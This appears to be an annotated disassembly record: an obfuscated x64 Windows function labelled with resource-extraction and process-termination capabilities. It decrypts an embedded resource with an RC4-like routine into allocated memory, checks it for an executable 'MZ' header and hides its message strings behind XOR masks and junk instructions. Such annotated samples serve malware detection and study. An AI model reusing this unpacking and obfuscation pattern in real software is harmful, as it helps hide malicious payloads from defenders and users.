Function at 0x14000794a
Capabilities:
Extract resource via kernel32 functions
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
jmp 0x140007972
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
stc
cmp r11b, 0x57
jmp 0x140007986
push rbp
push r12
push r13
shl ebp, 0x12
bsr ebp, r13d
sets bpl
push r14
adc bpl, 0x48
test r8b, sil
push r15
ror ebp, cl
stc
ror bpl, 2
lea rbp, [rsp - 0x190]
jmp 0x1400079b8
sub rsp, 0x290
cmp r9b, r12b
cmp r10w, 0x19cf
sub r9d, r9d
cmp r15, 0x5b354b74
sub r8d, r8d
cmc
test r13w, sp
cmp r8b, r8b
sub edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_DefWindowProcW]
lea rcx, [rsp + 0x50]
jmp 0x1400079f1
mov dword [rsp + 0x50], 8
jmp 0x1400079fe
mov dword [rsp + 0x54], 0xc0ff
jmp 0x140007a0b
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
xor ecx, ecx
jmp 0x140007a18
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movabs r13, 0x9a131b1ffeb8fd5
movzx edx, ax
movsx edi, ax
lea r8, [rsp + 0x20]
cdq
mov dil, r15b
mov rdi, rax
cdq
movzx ax, cl
mov qword [rsp + 0x50], r13
movabs rax, 0x9f331e1ffa28f8f
mov dh, 0xbd
mov edx, 0x68
mov cx, 0x3db1
movsx ecx, sp
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov al, r14b
movabs rax, 0x7327284cf6183e2f
jmp 0x140007a77
mov qword [rsp + 0x28], rax
movabs rax, 0x7327284cf64b3e6a
jmp 0x140007a8b
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x58], rax
jmp 0x140007a9b
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
stc
test rax, rax
jmp 0x140007ab8
je 0x140007af0
mov rdx, rax
not ecx
mov rcx, rdi
jmp 0x140007acb
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jmp 0x140007adc
jne 0x140007c1f
mov rcx, r14
jmp 0x140007aea
call qword [sym.imp.KERNEL32.dll_FreeResource]
movabs rax, 0x509062a7a620ddc8
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x20], rax
cmovg cx, si
movsx rdx, r9w
lea rdx, [rsp + 0x20]
movabs rax, 0xe2eaa3bbf66bb34f
jmp 0x140007b23
movabs rcx, 0x7327284cf64b3e6a
jmp 0x140007b32
mov qword [rsp + 0x28], rax
not ax
movabs rax, 0x89cdb80633302d67
jmp 0x140007b49
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movzx rax, r11w
lahf
movsxd rax, ebx
movabs rax, 0x5eedcf2e82fe2fd4
jmp 0x140007b6b
mov qword [rsp + 0x58], rcx
jmp 0x140007b75
xorps xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x68], rax
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
lea r8, [0x1400030f0]
movabs rcx, 0x89cd377b7d3b48d7
sub r9d, r9d
mov qword [rsp + 0x60], rcx
xor ecx, ecx
jmp 0x140007bb0
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm1
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r11, [rsp + 0x290]
shl r13b, cl
shr r12d, 0xc6
movsxd r12, r8d
sub eax, eax
not r15b
mov r12, rcx
cmovo r15, r11
mov rbx, qword [r11 + 0x30]
setb bpl
bswap si
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movzx bp, cl
setns r13b
mov rsp, r11
pop r15
movzx r13w, cl
pop r14
movsx ebp, r12w
pop r13
cmovg bp, di
movsxd rbp, r10d
pop r12
not bp
pop rbp
jmp 0x140007c1e
ret
mov rdx, r14
cmovno cx, r8w
movsxd rcx, r9d
bswap cx
mov rcx, rdi
jmp 0x140007c35
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r12d, eax
test eax, eax
jmp 0x140007c45
je 0x140007af0
mov r9d, 4
rol rdx, cl
mov r8d, 0x1000
mov edx, r12d
xor ecx, ecx
movzx r15w, r11b
movsx r15w, r15b
mov r15d, r12d
jmp 0x140007c71
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test sil, r11b
test rax, rax
jmp 0x140007c85
je 0x140007af0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rbx
movzx esi, di
mov ecx, r12d
movzx si, r10b
movzx rsi, r15w
not rsi
mov rsi, rax
rep movsb byte [rdi], byte [rsi]
movsx cx, dil
mov cx, r13w
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r13d, 0x5a4d
cmp word [rbx], r13w
jmp 0x140007ccf
je 0x140007fc8
mov r9d, 4
mov r8d, 0x1000
neg dh
bswap rdx
or dx, 0xb96
mov edx, r12d
sub ecx, ecx
jmp 0x140007cf5
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
cmp cx, 0x322a
test rax, rax
jmp 0x140007d0b
je 0x140007fad
mov dword [rsp + 0x20], 0xe7f10134
xchg si, si
lea rcx, [rbp - 0x70]
bts esi, ecx
shr sil, cl
cmp dil, al
mov dword [rsp + 0x24], 0x983e7a39
bts si, bp
xchg sil, sil
cmp r15w, r10w
sub eax, eax
bswap esi
dec sil
movsxd rsi, ebp
mov dword [rsp + 0x28], 0xa1c3f0f5
cmovae esi, r9d
setge sil
movsx si, r11b
mov esi, 0x100
jmp 0x140007d65
mov byte [rsp + 0x2c], 0x3c
nop dword [rax + rax]
jmp 0x140007d74
mov byte [rcx], al
lea rcx, [rcx + 1]
jmp 0x140007d7f
inc eax
clc
test bpl, r9b
cmp ah, 0xeb
cmp eax, esi
jmp 0x140007d8f
jb 0x140007d74
sub edi, edi
bt r8, 0xb
lea r8, [rbp + 0x90]
sar al, 0x32
nop word [rax + rax]
ror cl, cl
shl edx, 3
mov ecx, edi
cdq
shrd dx, ax, 0xc
lea r8, [r8 + 1]
movsx ax, spl
sub rax, rbp
mov eax, 0x4ec4ec4f
sub dl, sil
movsx rdx, bp
mul edi
mov eax, 0x468c4102
setge al
xchg ah, al
inc edi
sal ax, cl
rcl al, cl
shr edx, 2
imul eax, edx, 0xd
cmp dl, r12b
sub ecx, eax
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 - 1], cl
jmp 0x140007e02
cmp edi, esi
jb 0x140007db6
sub r8d, r8d
xadd dx, ax
movzx ax, bpl
btc ax, 0x60
xor edi, edi
nop dword [rax]
cdqe
movzx edx, byte [rbp + rdi - 0x70]
movzx ecx, byte [rbp + rdi + 0x90]
rcr eax, cl
btr rax, 0x88
cmc
lea rdi, [rdi + 1]
rol rax, cl
add ecx, r8d
movzx r8, r15w
add al, 0xab
add ecx, edx
movzx r8d, cl
lea rcx, [rbp - 0x70]
rcl ax, 0xca
movzx eax, byte [rcx + r8]
test r9, r12
cmp bp, bx
mov byte [rbp + rdi - 0x71], al
cmp al, 0x69
mov byte [rcx + r8], dl
sub rsi, 1
jmp 0x140007e77
jne 0x140007e26
xor r9d, r9d
test cl, bpl
stc
xor r10d, r10d
test r12d, r12d
je 0x140007f62
mov rsi, r14
bsr dx, r9w
mov r8, rbx
movsx rax, di
btc cx, 0xdd
stc
nop dword [rax]
stc
nop word [rax + rax]
movsx cx, dil
lea eax, [r9 + 1]
movzx r9d, al
lea rdi, [rbp - 0x70]
cbw
adc dh, 0x85
lea rcx, [rbp - 0x70]
sbb dl, 0xb8
add dh, 0x99
jmp 0x140007ed9
lea rsi, [rsi + 1]
cwde
cdqe
lea r8, [r8 + 1]
or al, r11b
inc ax
sbb dl, bpl
movzx edx, byte [rdi + r9]
cmc
lea eax, [r10 + rdx]
stc
movsx r10w, cl
movzx r10d, al
mov al, 0x6b
movzx eax, byte [rcx + r10]
test r9w, di
cmp spl, r9b
mov byte [rdi + r9], al
add rax, 0x721f13dc
movzx eax, bp
adc ah, 0x9b
mov byte [rcx + r10], dl
movzx ecx, byte [rdi + r9]
add rcx, rdx
sar eax, 0xf6
nop
or al, bpl
movzx eax, cl
movzx ecx, byte [rbp + rax - 0x70]
cmc
jmp 0x140007f46
xor cl, byte [r8 - 1]
stc
cmc
cmp r10w, di
mov byte [rsi - 1], cl
sub r15, 1
jmp 0x140007f5c
jne 0x140007eb9
xor edx, edx
mov r8d, 0x8000
cmp r11w, 0x42e2
jmp 0x140007f75
cmp word [r14], r13w
jmp 0x140007f7e
jne 0x140007f9f
mov rcx, rbx
jmp 0x140007f8c
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
jmp 0x140007f9a
jmp 0x140007fc8
mov rcx, r14
jmp 0x140007fa7
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x8000
sal ch, 0x8e
sub edx, edx
mov rcx, rbx
jmp 0x140007fc0
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ebx, ebx
mov qword [rbp - 0x78], rbx
jmp 0x140007fd1
test rbx, rbx
jmp 0x140007fd9
jne 0x140008101
movabs rdx, 0xc3f14d583ab52ede
movabs rax, 0x509062a7a620ddc8
cmovnp cx, bp
movsxd rcx, ebp
mov qword [rsp + 0x20], rax
movabs rcx, 0x7327284cf64b3e6a
cmovp ax, sp
mov qword [rsp + 0x48], rdx
movabs rax, 0x2254a3bbf66bb34f
mov qword [rsp + 0x28], rax
cmovg rax, rdx
mov ax, 0x5121
movzx ax, r10b
movabs rax, 0x18005ca91a7bdd3a
jmp 0x14000803d
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0xd5389ea3d6f07bfb
jmp 0x140008057
mov qword [rsp + 0x38], rax
movzx eax, di
movabs rax, 0x47e226ed2e2a2bad
mov qword [rsp + 0x40], rax
lahf
nop
movabs rax, 0x9a131b1ffeb8fd5
jmp 0x14000807f
mov qword [rsp + 0x50], rax
movsx rax, ax
cdqe
movabs rax, 0x5eedcf2e82fe2fd4
jmp 0x140008099
mov qword [rsp + 0x78], rdx
movzx edx, r11w
movsx dx, sil
movzx rdx, bx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x58], rcx
jmp 0x1400080ba
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x68], rax
cwde
movzx ax, sil
not eax
movabs rax, 0x47e226ed2e2a2b99
jmp 0x1400080e7
mov qword [rsp + 0x70], rax
jmp 0x1400080f1
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x140007b8a
lea rdx, [rbp - 0x78]
bswap ecx
lea rcx, [rsp + 0x50]
jmp 0x140008111
call fcn.140002230
mov rcx, qword [rbp - 0x78]
not rdx
cqo
jmp 0x140008124
lea rdx, [rbp - 0x80]
jmp 0x14000812d
mov dword [rbp - 0x80], 0
jmp 0x140008139
call fcn.1400071cb
test rax, rax
jmp 0x140008146
jne 0x140008255
movabs rax, 0x47575436a3faf0ef
or rcx, 0x195e664e
adc rcx, 0x621b1ea9
lea r8, [0x1400030f0]
rcl edx, 0x25
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
shrd rax, rsp, 0x51
add cl, 0xa3
movabs rax, 0xfc5a66477dbc3e4a
rol rcx, cl
add ecx, r10d
adc ecx, eax
movabs rcx, 0x7327284cf64b3e6a
jmp 0x1400081a4
mov qword [rsp + 0x28], rax
cmp r14, r11
xor r9d, r9d
jmp 0x1400081b4
movdqa xmm0, xmmword [rsp + 0x20]
movabs rax, 0x2e4533188b2fd7
jmp 0x1400081c9
mov qword [rsp + 0x30], rax
movabs rax, 0x5eed9e46d9727c5f
jmp 0x1400081dd
mov qword [rsp + 0x38], rax
movsx rax, r15w
cbw
movabs rax, 0x9a131b1ffeb8fd5
movdqa xmm1, xmmword [rsp + 0x30]
mov qword [rsp + 0x58], rcx
mov cl, bh
movabs rcx, 0x89cd377b7d3b48d7
jmp 0x14000820e
mov qword [rsp + 0x50], rax
jmp 0x14000821c
movabs rax, 0x5eedcf2e82fe2fd4
jmp 0x14000822b
xorps xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x60], rcx
stc
clc
sub ecx, ecx
mov qword [rsp + 0x68], rax
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
jmp 0x14000825c
call qword [sym.imp.KERNEL32.dll_ExitProcess]